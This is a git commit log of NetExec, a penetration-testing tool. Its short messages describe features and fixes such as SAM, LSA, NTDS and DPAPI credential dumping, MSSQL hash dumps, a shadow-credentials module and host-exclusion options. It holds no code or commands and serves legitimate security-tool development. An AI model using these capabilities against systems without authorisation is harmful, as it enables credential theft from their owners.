Alexander Neff 18a2bfa6de Remove unused import 2026-09-23 14:13:09 -04:00
Alexander Neff ed9fb8b33f Formatting 2026-09-23 14:10:58 -04:00
Alexander Neff fb0fbc197d Merge branch 'main' into fix/ssh-key-type-rejected 2026-09-23 14:10:00 -04:00
Alexander Neff c8394ad1d6 Add patch by @azoxlpf fixing SSH error detection if pass auth is disabled 2026-09-23 14:08:18 -04:00
mpgn 72abb0776e Merge pull request #1441 from abdo210xl/backup-operator-bootkey
Added live boot key extraction to backup_operator
2026-09-23 16:55:58 +02:00
zblurx cd956dd91f ruff 2026-09-23 10:11:42 +02:00
mpgn 27a3a3a796 Merge pull request #1442 from Pennyw0rth/mpgn-patch-1
Update aardwolf dependency version
2026-09-22 23:06:01 +02:00
mpgn ef3d4c8a76 Update aardwolf dependency version
Updated aardwolf dependency version to 0.2.14.

Signed-off-by: mpgn <[email protected]>
2026-09-22 22:56:22 +02:00
Alex 643c9370e5 Merge pull request #1440 from azoxlpf/fix/rdp-legacy-tls-864 2026-09-22 22:15:48 +02:00
Abdelrahman Mohamed 2f1c3e0275 Added live boot key extraction to backup_operator
Signed-off-by: Abdelrahman Mohamed <[email protected]>
2026-09-22 22:39:25 +03:00
azoxlpf 26568e44ab Reach legacy RDP servers by allowing weak TLS ciphers 2026-09-22 21:37:02 +02:00
Alexander Neff b9535e6775 Formatting 2026-09-22 13:10:45 -04:00
Alexander Neff e3d86824ee Improve module description 2026-09-22 13:07:01 -04:00
Alex fdb60ae38e Merge pull request #1258 from Dfte/add_mssql_database_listing
Add --list-backups allowing enumerating databases backups on MSSQL
2026-09-22 17:58:44 +02:00
Alexander Neff a8dec3c6f7 Merge branch 'main' into add_mssql_database_listing 2026-09-22 11:49:03 -04:00
Alexander Neff f1726b0520 Simplify logic 2026-09-22 11:46:09 -04:00
Alexander Neff fc3fb874c0 First review pass simplifying logic 2026-09-22 11:45:41 -04:00
Alexander Neff 9bfa036013 Remove unused import 2026-09-22 11:36:05 -04:00
Alexander Neff 3e0cc700e7 Simplify action selection 2026-09-22 11:35:48 -04:00
Alexander Neff 553224031e Simplify module args 2026-09-22 11:35:11 -04:00
Alexander Neff 421bd670d2 Remove unnecessary init 2026-09-22 11:34:12 -04:00
Alexander Neff 1920b3b515 Sort imports 2026-09-22 11:33:50 -04:00
zblurx f55edf3987 support big files download 2026-09-22 17:07:48 +02:00
Alex af92759b49 Merge pull request #1257 from Dfte/add_hash_dump_mssql
Add local database hash dump for mssql
2026-09-22 15:11:33 +02:00
crosscutsaw d807ebd4e4 Update presence.py 2026-09-21 10:13:47 +03:00
Alex 3a7bf59909 Merge pull request #1433 from Pennyw0rth/neff-fix-backup-operator 2026-09-20 19:34:24 +02:00
crosscutsaw 8417639cda presence-fix-improve
presence-fix-improve
2026-09-20 17:35:04 +03:00
Alex 12ebe0d34b Merge branch 'main' into main 2026-09-20 14:44:25 +02:00
Alexander Neff 818985bdd3 Rename sanitizing function 2026-09-20 08:11:15 -04:00
Alexander Neff e63a43c1f0 Improve DNS check to be compliant with referenced RFCs 2026-09-20 08:04:08 -04:00
Alex b4ce916a03 Merge branch 'main' into fix/sanitize-ntlm-hostname 2026-09-20 13:09:20 +02:00
Alexander Neff 3808655afa Add big timeout for backup-operator module for larger hives 2026-09-20 06:20:05 -04:00
Alex a0a37b7af8 Merge pull request #1429 from termanix/patch-1
Add NTLM Authentication for getKerberosTGT on ResetNightmare Module
2026-09-19 16:39:04 +02:00
termanix 475a8419c7 Merge branch 'patch-1' of https://github.com/termanix/NetExec into patch-1 2026-09-19 15:59:57 +03:00
termanix 76486f14a5 removed double strings from getKerberosTGT 2026-09-19 15:58:16 +03:00
termanix f0e0cc6c84 Merge branch 'main' into patch-1 2026-09-19 15:53:19 +03:00
termanix 03ae02ec01 empty strings fallback to first defined line from getKerberosTGT 2026-09-19 15:52:00 +03:00
termanix 57c5af5fc2 edit e2e 2026-09-19 15:50:13 +03:00
Alex 9eb36e489b Merge pull request #1428 from MRX-72/fix-ssh-timeout-error
SSH: catch TimeoutError during login with a clean fail message
2026-09-19 13:42:04 +02:00
termanix 325cd1c73b removed sys library, sys.exit swapped to return false 2026-09-19 10:55:52 +03:00
termanix efb0f308e9 Comment out shadow-cred and resetnightmare
Signed-off-by: termanix <[email protected]>
2026-09-19 10:51:25 +03:00
termanix 3299d94e92 misleading naming 2026-09-18 17:35:28 +03:00
termanix 4f6ef43aca edit e2e_commands 2026-09-18 15:12:21 +03:00
termanix ff52856d2e Add NT hash usage on example line 2026-09-18 15:10:24 +03:00
termanix 99c65e87b0 Add NTLM Auth for getKerberosTGT 2026-09-18 21:53:31 +03:00
Mrx 60b3a5d3d0 SSH: catch TimeoutError during login with a clean fail message
plaintext_login() only caught AuthenticationException and SSHException
before falling through to the generic Exception handler, which logs via
logger.exception() and dumps a full traceback. A connection timing out
mid-login is routine on a target sweep, not something that needs a stack
trace, and smb.py already treats TimeoutError this way elsewhere in the
codebase.

Fixes #358
2026-09-18 13:45:47 +05:30
mpgn 22840bfc2a Merge pull request #1427 from Pennyw0rth/dpapi_logging_fix_v2
Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules""
2026-09-15 22:10:44 +02:00
mpgn 615a501dff uv lock update with newer correct time 2026-09-15 22:01:07 +02:00
mpgn 5f5aa26a46 Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules""
This reverts commit 11d9151737.
2026-09-15 21:57:34 +02:00
mpgn 85aa3486d8 Merge pull request #1426 from Pennyw0rth/revert-1423-dpapi_logging_fix
Revert "[DPAPI] Fix logging origin in dpapi related modules"
2026-09-15 21:44:20 +02:00
mpgn 11d9151737 Revert "[DPAPI] Fix logging origin in dpapi related modules" 2026-09-15 21:41:48 +02:00
mpgn a43afcee4f Merge pull request #1423 from Pennyw0rth/dpapi_logging_fix
[DPAPI] Fix logging origin in dpapi related modules
2026-09-15 21:41:06 +02:00
Alexander Neff df9c32276a Update lock files 2026-09-15 14:46:59 -04:00
Alexander Neff 47af3a022c Formatting 2026-09-15 14:46:29 -04:00
zblurx 4fd05318df check filesize and warn user if too big 2026-09-14 17:57:44 +02:00
zblurx e193097969 adapt LSA dump to dpapi upgrade 2026-09-14 16:44:43 +02:00
zblurx 5b83b43486 Merge branch 'main' into wmi_dump
Signed-off-by: zblurx <[email protected]>
2026-09-14 16:26:39 +02:00
zblurx d542b20224 fix logging origin in dpapi related modules 2026-09-14 16:11:15 +02:00
Alex d4cdc6c019 Merge pull request #1421 from rtpt-romankarwacik/ldap_signing_except 2026-09-14 13:38:44 +02:00
Roman Karwacik 3746e0d8cc Catch LDAP connection errors while checking for signing 2026-09-14 13:09:30 +02:00
Alex 81e53ecb9c Merge pull request #1419 from Pennyw0rth/neff-fixes
Add a bunch of small fixes
2026-09-14 00:26:58 +02:00
Alexander Neff 310979ab59 Merge branch 'main' into neff-fixes 2026-09-13 18:20:28 -04:00
Alexander Neff 852549566c Merge branch 'main' into add_mssql_database_listing 2026-09-13 18:11:15 -04:00
Alexander Neff d5e04789c4 Formatting 2026-09-13 18:10:32 -04:00
Alexander Neff db63325450 Merge branch 'main' into add_hash_dump_mssql 2026-09-13 18:04:21 -04:00
mpgn 7bd77885b7 Merge pull request #1327 from Pennyw0rth/dpapi_upgrade
[dploot upgrade] Add --dpapi on WMI, WINRM and MSSQL protocols
2026-09-13 23:57:08 +02:00
mpgn aecf64dbc7 uv lock update 2026-09-13 23:55:34 +02:00
Alexander Neff 0b3f805283 Change negative expression logging message 2026-09-13 17:46:37 -04:00
Alex d3c3ca9dea Merge pull request #1259 from Dfte/refactor_list_database
Refactor the --database argument to comply with security checks
2026-09-13 23:44:32 +02:00
Alexander Neff a6017269af Fixing wrongfully string decoding 2026-09-13 17:42:00 -04:00
Alexander Neff ee3dd5e0e6 Formatting 2026-09-13 17:35:47 -04:00
Alexander Neff 490d7397f2 Formatting 2026-09-13 17:33:16 -04:00
Alexander Neff f1078b6622 Use dploot pypi version 2026-09-12 12:36:36 -04:00
Alexander Neff e5b7a5f3b4 Merge branch 'main' into dpapi_upgrade 2026-09-12 09:40:34 -04:00
Alexander Neff 164f35dddd Catch Exception if software is not installed 2026-09-12 09:32:00 -04:00
Alexander Neff 4e2c0a60d4 Rename 'context' to 'connection' so it is in line with modules 2026-09-12 09:24:34 -04:00
Alexander Neff 9249bb3834 Fix remoteng execution 2026-09-12 09:21:14 -04:00
Alexander Neff 317840f6df Remove unused functions and imports 2026-09-12 09:12:05 -04:00
Fabrizzio53 44267c807f Recover the description field of deleted objects
Added new code to recover the description (if active) from deleted objects

Signed-off-by: Fabrizzio53 <[email protected]>
2026-09-11 17:24:46 -03:00
Alexander Neff 44cc9f1333 Ruff 2026-09-11 17:54:56 +02:00
Alexander Neff 333ec792f0 lock file hash 2026-09-11 17:36:36 +02:00
Alexander Neff a92275586e Fix crash if NTLM is unavailable 2026-09-11 17:36:10 +02:00
Alexander Neff 32469fea8b Fix bloodhound collection if signing and cbt is enforced 2026-09-11 17:35:39 +02:00
Alexander Neff 5823cdba20 Add ftp --cat command 2026-09-11 17:34:32 +02:00
Alexander Neff a7626dd2c4 Improve ftp host banner and session closing 2026-09-11 17:34:12 +02:00
Alexander Neff 6b5f557736 Remove useless share listing 2026-09-11 17:33:24 +02:00
Alexander Neff 40abafc41b Add some padding for user descriptions 2026-09-11 17:32:45 +02:00
Alexander Neff 6c29f3c6e4 Fix error handling of impacket/rpcrt 2026-09-11 17:32:26 +02:00
Alexander Neff c3122a9487 Add generic exception handler for ConnectionRefused 2026-09-11 17:29:41 +02:00
mpgn e6deadf5c7 Merge pull request #1413 from Natasha-B/fix-ldap-check
Fix false positives on ldap signing and cbt checks when NTLM is disabled
2026-09-11 11:58:39 +02:00
mpgn dde1482435 Fix conditional check for signing_required
Signed-off-by: mpgn <[email protected]>
2026-09-11 11:56:16 +02:00
Natasha-B ff987ee634 Fix false positives on ldap signing and cbt checks when NTLM is disabled 2026-09-10 17:30:58 +02:00
Alex c72f2ca98e Merge pull request #1390 from XiaoliChan/wmi-reuse-fix
[WMI] Reuse DCOM fix
2026-09-09 22:31:19 +02:00
Alexander Neff 402615522e Merge branch 'main' into wmi-reuse-fix 2026-09-09 16:22:22 -04:00
Alex 5d9ea3a0ad Merge pull request #1410 from Pennyw0rth/neff-fix-encoding
Change CRLF to LF of bitlocker file module
2026-09-09 22:19:21 +02:00
Alexander Neff c612a1347a Change CRLF to LF 2026-09-09 16:15:08 -04:00
mpgn 90efb2a9f3 Merge pull request #1321 from Goultarde/feature/trust-keys 2026-09-09 22:06:24 +02:00
Marshall Hallenbeck 444cea83c6 Merge pull request #1190 from Pennyw0rth/feat/smb-get-folder
add --get_folder functionality
2026-09-09 15:48:58 -04:00
mpgn 8073a798e0 update lock files 2026-09-09 21:19:39 +02:00
mpgn 6699b40757 Merge branch 'main' into feature/trust-keys 2026-09-09 21:10:00 +02:00
Goultarde 98d0549ae1 Respect history for TDO trust keys 2026-09-09 21:07:25 +02:00
mpgn 8230e9a2d3 fix from update of impacket 2026-09-09 20:54:05 +02:00
Alexander Neff 0cc365cef2 Formatting 2026-09-09 12:27:16 -04:00
Alexander Neff b328661dd4 Formatting 2026-09-09 11:59:07 -04:00
Alexander Neff 7fd40a391c Formatting 2026-09-09 11:51:41 -04:00
Alexander Neff 467123465a Formatting 2026-09-09 11:48:41 -04:00
Alexander Neff 0de205c95f Fix lock files 2026-09-09 11:45:47 -04:00
zblurx 887941fc50 Merge branch 'main' into wmi_dump
Signed-off-by: zblurx <[email protected]>
2026-09-09 10:47:47 +02:00
zblurx 5e95c3490e revert impacket dep to the original repo 2026-09-09 10:41:47 +02:00
Alex ccef3a75b0 Merge pull request #1408 from r4vanan/main 2026-09-09 09:55:13 +02:00
r4vanan 4ae0dd723b Fix spelling mistakes across multiple files 2026-09-08 22:52:26 -04:00
Alex d640fb78b8 Merge pull request #1233 from x-way/fix-empty-dir-spider
Fix handling of empty SMB share folder
2026-09-06 22:19:34 +02:00
Alex e969f23757 Merge pull request #1403 from Pennyw0rth/neff-add-clean
Shadow Creds Clear command
2026-09-06 21:53:01 +02:00
Alexander Neff f1e6b38574 Add clear command to shadow-creds module 2026-09-06 15:05:07 -04:00
Alexander Neff c98846379f Provide information about excluded hosts more verbosly 2026-09-06 13:41:37 -04:00
Alexander Neff 766c221f10 Trim down on info logs so we can see only valid hosts 2026-09-06 13:39:50 -04:00
Alex 7f5f869de0 Merge pull request #1204 from Dfte/add_exclude_options 2026-09-06 15:56:57 +02:00
XiaoliChan eee763caad bitlocker module: reuse the wmi protocol connection instead of a second DCOMConnection
Same pattern as the rdp module fix: BitLockerWMI creates its own
DCOMConnection to the same target the wmi protocol already holds one
for, and disconnecting it removes the shared INTERFACE.CONNECTIONS
thread entry, so the protocol-level disconnect afterwards raises
KeyError on impacket versions that do not guard it. Reuse the
protocol's IWbemLevel1Login instead - over smb nothing changes.
2026-09-05 19:56:39 +08:00
XiaoliChan 26e2007d77 rdp module: reuse the wmi protocol connection instead of a second DCOMConnection
When running over the wmi protocol the module now reuses the protocol's
authenticated IWbemLevel1Login instead of creating its own
DCOMConnection to the same target - whose disconnect would clash with
the protocol's own on impacket versions that do not guard the
INTERFACE.CONNECTIONS thread entry (KeyError: ThreadPoolExecutor-x_x).
Over smb nothing changes: the module still creates its own
DCOMConnection since the protocol has none.
2026-09-05 19:56:39 +08:00
Diogo_Damasceno 59d29c895a Fix #1349: skip non-SearchResultEntry objects in LDAP --query
The `query()` loop iterated the parsed response but indexed the raw
response with `resp[idx]`, bumping `idx` in a way that never skipped the
current iteration. When the LDAP server returned a non-SearchResultEntry
object (e.g. a SearchResultReference), the code crashed with a TypeError
('<' not supported between instances of 'str' and 'int' / object not
subscriptable).

Now we iterate the raw response directly, `continue` on anything that is not
a `SearchResultEntry`, and read `objectName` from the real entry. The
display logic is unchanged for valid entries.

Added tests/test_ldap_query_iteration.py covering the skip behaviour.
Verified on Python 3.14.7.
2026-09-04 08:29:02 -03:00
Diogo_Damasceno ce33ac0f8d Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable
The `export hosts` CSV header was hard-coded to the SMB schema
(smbv1/signing/spooler/zerologon/petitpotam), so exporting hosts for any
other protocol (RDP, MSSQL, SSH, LDAP, ...) produced a header that did not
match the row content.

Now the header is derived from the active protocol's HostsTable columns via a
new `host_csv_headers()` helper, as suggested in the issue: default to the
real column names instead of static SMB strings. `simple` keeps the first 8
columns (historical row width); `detailed` returns every column of the table.
No unrelated formatting changes.

Added tests/test_nxcdb_host_export.py covering SMB (no regression) and RDP
(no SMB-only columns leak into the header). Verified on Python 3.14.7.
2026-09-04 08:14:08 -03:00
zblurx 2fc046558c Merge branch 'main' into dpapi_upgrade 2026-09-03 16:35:46 +02:00
Diogo_Damasceno 2e96341424 ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356)
When an sshd server rejects a public key because its algorithm is not in
PubkeyAcceptedAlgorithms (e.g. server allows only ssh-ed25519 while the
key is RSA), Paramiko raises with a message such as 'Auth rejected:
pubkey algorithm ... unsupported or disabled' or 'Unable to agree on a
pubkey algorithm ...'. These were previously surfaced as the misleading
'Could not decrypt private key, invalid password'.

Add _is_key_type_rejected() and use it in plaintext_login() so the user
gets a clear 'Key type rejected by server (pubkey algorithm not allowed)'
message, while wrong-passphrase and encrypted-key cases keep their
existing behavior.

Add tests/test_ssh_key_type_rejection.py covering the real Paramiko 5.x
rejection messages and asserting the existing cases are not misclassified.
2026-09-03 11:21:25 -03:00
Andreas Jaggi 28e1ad17b4 Fix handling of empty SMB share folder 2026-09-02 15:56:10 +00:00
Alex ee0e488d43 Merge pull request #1368 from Pennyw0rth/neff-add-shadow-creds 2026-09-02 15:56:51 +02:00
Alexander Neff 5800ec5fbb Add prompt if exclusion exists but target is hostname 2026-09-01 14:56:32 -04:00
Alexander Neff 883921d2c8 Ensure that excluded hosts are valid IPs 2026-09-01 14:36:46 -04:00
Alexander Neff 2fbbd244a4 Add netifaces to lock files 2026-09-01 14:28:31 -04:00
Alexander Neff ac84b7dd94 Formatting 2026-09-01 14:27:50 -04:00
Alexander Neff 336738bd58 Move target parsing to helper functions 2026-09-01 14:26:18 -04:00
Alexander Neff c0536ccd72 Add comment back 2026-09-01 14:18:32 -04:00
Alexander Neff fc30724918 Add IPv6 self exclusion 2026-09-01 14:17:55 -04:00
Alexander Neff a7e55ffbf4 Formatting 2026-09-01 14:17:25 -04:00
Alexander Neff 6dc9e9d505 Make IP exclusion list additive instead of overwriting itself 2026-09-01 14:17:09 -04:00
Alexander Neff 5f53ae99fd Formatting 2026-09-01 13:28:05 -04:00
mpgn 978270ad00 Add default value to --trust-keys argument
Set default value for --trust-keys argument to True.

Signed-off-by: mpgn <[email protected]>
2026-08-31 21:49:41 +02:00
mpgn 9e94f58081 simplify the logic and fix regression
Signed-off-by: mpgn <[email protected]>
2026-08-31 21:45:18 +02:00
Deft_ db807bb938 Merge branch 'main' into add_exclude_options
Signed-off-by: Deft_ <[email protected]>
2026-08-31 17:19:36 +02:00
Aurélien CHALOT cb351cf890 Add support for IPv6 2026-08-31 17:02:52 +02:00
Aurélien CHALOT 9817aadfbb Add --exclude-hosts and --skip-self overwriting nxc.conf file 2026-08-31 16:57:28 +02:00
zblurx 4bf5abdcdc ruff 2026-08-31 12:39:54 +02:00
zblurx 961f4e5028 enhance use of credentials in db 2026-08-31 11:52:05 +02:00
zblurx 6ee4802743 fix dploot_connection upgrade debug log message 2026-08-31 11:09:07 +02:00
zblurx 42fe6b4840 remove print 2026-08-31 10:51:40 +02:00
zblurx 7308add93f Merge branch 'dpapi_upgrade' of github.com:Pennyw0rth/NetExec into dpapi_upgrade 2026-08-31 10:41:38 +02:00
zblurx a9b8cf8e0a add highlight in log_secret and set output_file in init 2026-08-31 10:40:21 +02:00
Alexander Neff ff3d4937b4 Merge branch 'main' into dpapi_upgrade 2026-08-30 11:58:09 -04:00
Alex 2bdc7e5e52 Merge pull request #1362 from amikuss/fix/ldap-groups-memberof-fallback 2026-08-30 03:19:00 +02:00
zblurx b114c644c5 showing machine keys if collected 2026-08-28 11:36:03 +02:00
zblurx 0d2af8bdd5 added display message when dump LSA 2026-08-28 11:28:45 +02:00
zblurx 78d607b84b fix issue with default shadow_id value 2026-08-27 16:35:55 +02:00
zblurx 34b7a35118 ruff 2026-08-27 13:00:20 +02:00
zblurx 48cc6b0e30 added --use-snapshot-id arg 2026-08-27 12:54:15 +02:00
zblurx 65f4714953 add ntds dump 2026-08-27 12:44:06 +02:00
zblurx 3c52ecb40e create wmi RemoteOperation class 2026-08-27 11:48:08 +02:00
zblurx ee9f59e513 refacto namespace loading 2026-08-27 10:45:24 +02:00
zblurx b6f20e40b9 ruff 2026-08-26 18:04:11 +02:00
zblurx ab4a44cf4d update poetry lock 2026-08-26 18:00:58 +02:00
zblurx 4711814adb add sam and lsa dump 2026-08-26 18:00:09 +02:00
zblurx a819614fc2 add get_file 2026-08-26 17:08:11 +02:00
Marshall Hallenbeck fd9ebe9057 Merge pull request #1376 from Pennyw0rth/fix/vnc-connection-timeout
fix(vnc): bound the connection so an unresponsive server cannot hang the scan
2026-08-25 13:48:53 -04:00
Alex fc970ca7df Merge pull request #1378 from Pennyw0rth/neff-fix-dploot-version
Restrict dploot to v3
2026-08-25 19:32:04 +02:00
Alexander Neff 6f7e0a81bc Restrict dploot to v3 2026-08-25 13:12:56 -04:00
Alex e9c2c66a9b Merge pull request #1377 from Pennyw0rth/neff-add-nfs-cat
Add --cat argument for NFS
2026-08-25 18:16:38 +02:00
Alexander Neff c013e02e81 Add --cat argument for nfs 2026-08-25 12:08:36 -04:00
Marshall Hallenbeck a5fe3ba13f fix(vnc): bound the connection so an unresponsive server cannot hang the scan
A VNC server that completes the TCP connect and then stops responding during the
RFB handshake left `await self.conn.connect()` outstanding forever, with no
output and no error. On one engagement a single host held a run for the full
hour its external timeout allowed, and nothing was scanned in that time.

The target timeout alone does not cover this: the connect succeeds, so the hang
is in the handshake that follows. RDP already bounds the equivalent call with
`asyncio.wait_for` and exposes `--rdp-timeout`; VNC now does the same through
`--vnc-timeout`, which is also passed to RDPTarget.

A timeout is reported as a timeout rather than as a rejected password, because
nothing was authenticated. It is caught as `asyncio.TimeoutError`, which is only
an alias of the builtin from Python 3.11 and this project supports 3.10.

Claude-Session: https://claude.ai/code/session_01BrqBUZro8vxfBMGniTyfDV
2026-08-25 08:00:18 -04:00
zblurx 0de1fc8cd5 change function name to log_secret to make it clearer 2026-08-25 12:08:38 +02:00
zblurx 92e61efe14 Fix the open file to append instead of overwrite 2026-08-25 11:55:19 +02:00
zblurx 01536dc628 ruff 2026-08-25 11:51:40 +02:00
zblurx 8e4fc22290 move it closer to dpapi stuff, easier to read 2026-08-25 11:50:42 +02:00
zblurx 1d06afcc84 only rely on kdcHost for backupkey recovery 2026-08-25 11:47:50 +02:00
zblurx c5ab84af01 added lsa quiet mode 2026-08-25 11:37:40 +02:00
zblurx cb7d22ccbc modify output_file and counter management 2026-08-25 11:22:46 +02:00
zblurx 473e33352e update args pvk 2026-08-25 10:02:25 +02:00
Alexander Neff 4a2c8d433d Make output logic clear and add dn fallback 2026-08-24 17:16:56 -04:00
Alexander Neff b7ba0f929e Adjust query such that we don't query all objects and don't fail on external references 2026-08-24 17:16:18 -04:00
Alex 8a7edb5636 Merge branch 'main' into fix/ldap-groups-memberof-fallback 2026-08-24 21:40:51 +02:00
Alex 09342c190d Merge pull request #1375 from Pennyw0rth/neff-add-agents.md
Add AGENTS.md file for guiding LLM agents
2026-08-24 10:00:23 +02:00
Alexander Neff 2c44f785ec Name full path 2026-08-24 08:03:48 +02:00
Alexander Neff 35bf9d183e Fix linting 2026-08-23 09:44:49 -04:00
Alexander Neff b5da832c31 Add legacy path for mremoteng conf files 2026-08-23 09:42:51 -04:00
Alexander Neff d4ee81fa3f Update lock file 2026-08-23 08:36:12 -04:00
Alexander Neff 79e14ea61e Update lock file 2026-08-23 08:35:43 -04:00
Alexander Neff 31428e9674 Merge branch 'main' into dpapi_upgrade 2026-08-23 08:34:40 -04:00
Alexander Neff 8fbadf4d0f Remove unused import 2026-08-23 07:30:42 -04:00
Alexander Neff 60aab5c60d Don't manually exit, but return False for invalid module options 2026-08-23 07:28:30 -04:00
Alexander Neff ccfaf5852c Remove overrestrictive instruction 2026-08-23 07:23:32 -04:00
Alex dfcbdb9fff Merge branch 'main' into neff-add-shadow-creds 2026-08-23 13:08:41 +02:00
Alexander Neff 676361ae8c Add AGENTS.md file for guiding agents 2026-08-23 07:07:25 -04:00
Alex 7751cb8f1f Merge pull request #1346 from azoxlpf/fix/module-options-validation
Allow modules to abort the run by returning False from options()
2026-08-23 11:42:17 +02:00
amikuss 40c4c124b3 refactor(ldap): split all-groups/specific-group search logic 2026-08-20 09:52:08 +02:00
Alexander Neff e0a3f1a1db Restrict exception handling to LDAPSessionError caused by unsifficient privs 2026-08-20 09:51:01 +02:00
Alexander Neff a5b525037a Fix string comparison on DeviceID 2026-08-20 09:43:41 +02:00
Marshall Hallenbeck 73b4dba6d2 Merge branch 'main' into feat/smb-get-folder 2026-08-19 17:49:07 -04:00
Alexander Neff 1b30d2ed01 Allow non-computer accounts 2026-08-16 17:52:13 -04:00
Alexander Neff 32e6d5a8b7 Display Device ID first 2026-08-16 17:47:48 -04:00
Alexander Neff 8943e65a9e Improve info output 2026-08-16 17:47:37 -04:00
Alexander Neff 33080a917c Just export raw ldap value to bypass dsinternals issues 2026-08-16 17:43:06 -04:00
Alexander Neff fb8b3e41c7 Add more tests and adjust encoding 2026-08-16 17:21:00 -04:00
Alexander Neff 96ce28cc4a Add backup and revert functions 2026-08-16 17:14:06 -04:00
Alexander Neff 18f0e5ffc5 Add stub e2e tests 2026-08-16 16:30:16 -04:00
Alexander Neff 3114333d27 First draft of shadow-creds 2026-08-16 16:30:09 -04:00
azoxlpf 14f10c31f8 ignore -u with --schannel and name the auth method in the connect log 2026-08-16 17:56:10 +02:00
Alex ca426d081a Merge pull request #1367 from Pennyw0rth/neff-fix-open-calls
Use context manager for file operations
2026-08-16 16:46:03 +02:00
azoxlpf 1b1e9c5d6a signal module options() abort via exception instead of None 2026-08-16 16:45:28 +02:00
Alex dc2c3b4f87 Merge branch 'main' into neff-fix-open-calls 2026-08-16 16:44:18 +02:00
Alex 05f1411ea2 Merge pull request #1359 from Pennyw0rth/neff-py3.14
Prepare Python 3.14 compatability
2026-08-16 16:29:37 +02:00
Alexander Neff 09bfaaf36f Use context manager for file operations 2026-08-16 09:44:05 -04:00
Alexander Neff 2460151e66 Update ruff 2026-08-16 09:25:18 -04:00
Alexander Neff a60a86ced5 Fix linting 2026-08-16 09:25:09 -04:00
Alexander Neff f212317986 Update lock file 2026-08-16 09:20:08 -04:00
Alexander Neff 3f317d989b Fix linting 2026-08-16 09:15:21 -04:00
Alexander Neff e743cd0496 Fix file handle stuff 2026-08-16 08:06:13 -04:00
Alexander Neff e6ad90b79c Exclude rule that forces rule names instead of codes 2026-08-16 08:02:57 -04:00
Alex 698abd40df Merge pull request #1365 from Macbucheron1/fix/bloodhound-target-domain
fix: use target domain for bloodhound collection
2026-08-16 12:35:33 +02:00
Adam Hassan 5b1ee92773 fix(rdp): only warmup .NET runtime when output is needed 2026-08-16 02:12:22 -07:00
Adam Hassan ab7c2d56d3 fix(rdp): prime .NET runtime to eliminate cold-start timeout on Win11 2026-08-16 02:12:22 -07:00
Adam Hassan 5d45303e19 fix(rdp): return None from clipboard timeout, not empty string 2026-08-16 02:12:21 -07:00
Adam Hassan ac6f58149f fix(rdp): use auth_only connect to prevent Win11 clipboard failure 2026-08-16 02:12:21 -07:00
Adam Hassan 78169e8354 fix(rdp): preserve protocol overrides and kerberos logging 2026-08-16 02:12:21 -07:00
Adam Hassan 22db44f380 fix: terminate connection on connect failure to prevent socket leak 2026-08-16 02:12:20 -07:00
Adam Hassan 2aa0601c88 docs: clarify supported_protocols reset 2026-08-16 02:12:20 -07:00
Adam Hassan ae77d482b9 docs: add inline comments for clipboard sync and PS launcher 2026-08-16 02:12:20 -07:00
Adam Hassan 9bba4a1013 fix(rdp): support legacy PowerShell clipboard access 2026-08-16 02:12:20 -07:00
Adam Hassan 5b6647b4d0 fix(rdp): stabilize headless command execution 2026-08-16 02:12:19 -07:00
Mac 38a5f36c0b fix: use target domain for bloodhound collection 2026-08-15 12:56:41 +02:00
amikuss 7d742355f5 fix(ldap): resolve group members via 'member' fallback for missing 'memberOf' backlinks 2026-08-13 10:40:25 +02:00
zblurx daed14661a update docstrings in dpapi.py helper 2026-08-12 13:49:32 +02:00
Alexander Neff 85e6e625b1 Update lock file 2026-08-11 16:19:23 -04:00
Alexander Neff 8429767dd4 Update github cli to py3.14 2026-08-11 16:16:32 -04:00
Marshall Hallenbeck af9bb8753c Merge pull request #1357 from Pennyw0rth/fix/e2e-commands-stale-modules
fix(tests): remove nonexistent safe_shares and fix mssql_dumper module name in e2e tests
2026-08-11 09:56:24 -04:00
Marshall Hallenbeck 414b8c8dd2 fix(tests): remove nonexistent safe_shares and fix mssql-dumper module name in e2e tests
- Remove safe_shares module tests (lines 155-157) — this module never
  existed in the codebase, causing 3 guaranteed failures
- Rename mssql-dumper to mssql_dumper (lines 300-302) — the module
  uses an underscore, not a hyphen
2026-08-11 09:23:35 -04:00
Alex 46dd7d5559 Merge pull request #734 from termanix/patch-1
New LDAP Flag Listing OUs
2026-08-11 05:29:28 +02:00
Alexander Neff 43ada51519 Formating 2026-08-10 23:26:28 -04:00
Alexander Neff 03bbb03aba Formating 2026-08-10 23:23:27 -04:00
Alexander Neff b69f2b39af Improve help text 2026-08-10 23:20:58 -04:00
Alexander Neff 205eb8c334 Formating 2026-08-10 23:20:33 -04:00
Alexander Neff 1dacb3b95d Provide header for user listing 2026-08-10 23:20:19 -04:00
Alexander Neff 752fa37062 Linting 2026-08-10 15:49:30 -04:00
Alex b37a328514 Merge branch 'main' into patch-1 2026-08-10 21:33:30 +02:00
azoxlpf d950a5cc13 share one certificate loader between PKINIT and Schannel 2026-08-09 17:27:22 +02:00
Azox 163139b115 Merge branch 'main' into feat/add-schannel 2026-08-09 17:02:20 +02:00
mpgn c005376d70 Merge pull request #1345 from Pennyw0rth/remove-oscrypto-dependency 2026-08-08 11:49:07 +02:00
mpgn fb722fc351 fix review code 2026-08-07 19:19:55 +02:00
mpgn ba239aaa5f Merge pull request #1352 from azoxlpf/feat/add-resetnightmare-module
Add ResetNightmare module
2026-08-07 19:05:57 +02:00
azoxlpf 417c051c0d add to e2e_commands.txt 2026-08-07 18:51:41 +02:00
azoxlpf 0f8a9abcca add Errors 2026-08-07 18:44:49 +02:00
mpgn a9eeafd20e Merge pull request #1350 from azoxlpf/feat/add-ResetNightmare-to-enum_cve
Add ResetNightmare to enum_cve
2026-08-07 17:23:41 +02:00
mpgn 106448304f Merge pull request #1351 from Pennyw0rth/fixntlm
Fix check isdc is not ntlm
2026-08-07 09:47:25 +02:00
azoxlpf 52d0196492 Add ResetNightmare module 2026-08-06 22:21:35 +02:00
mpgn 23e412b1ff fix check isdc if no ntlm 2026-08-06 21:13:58 +02:00
mpgn 45fb4e9b0c fix check isdc if no ntlm 2026-08-06 20:54:41 +02:00
mpgn 57fe370cf9 fix check isdc if no ntlm 2026-08-06 20:53:32 +02:00
mpgn 9486274f96 fix check isdc if no ntlm 2026-08-06 20:29:18 +02:00
azoxlpf 24c480657a Add ResetNightmare to enum_cve 2026-08-06 19:57:04 +02:00
Marshall Hallenbeck 4c3e407b30 fix: remove unused _StoreAction import (#1190)
Refs #1190
2026-08-05 17:56:13 -04:00
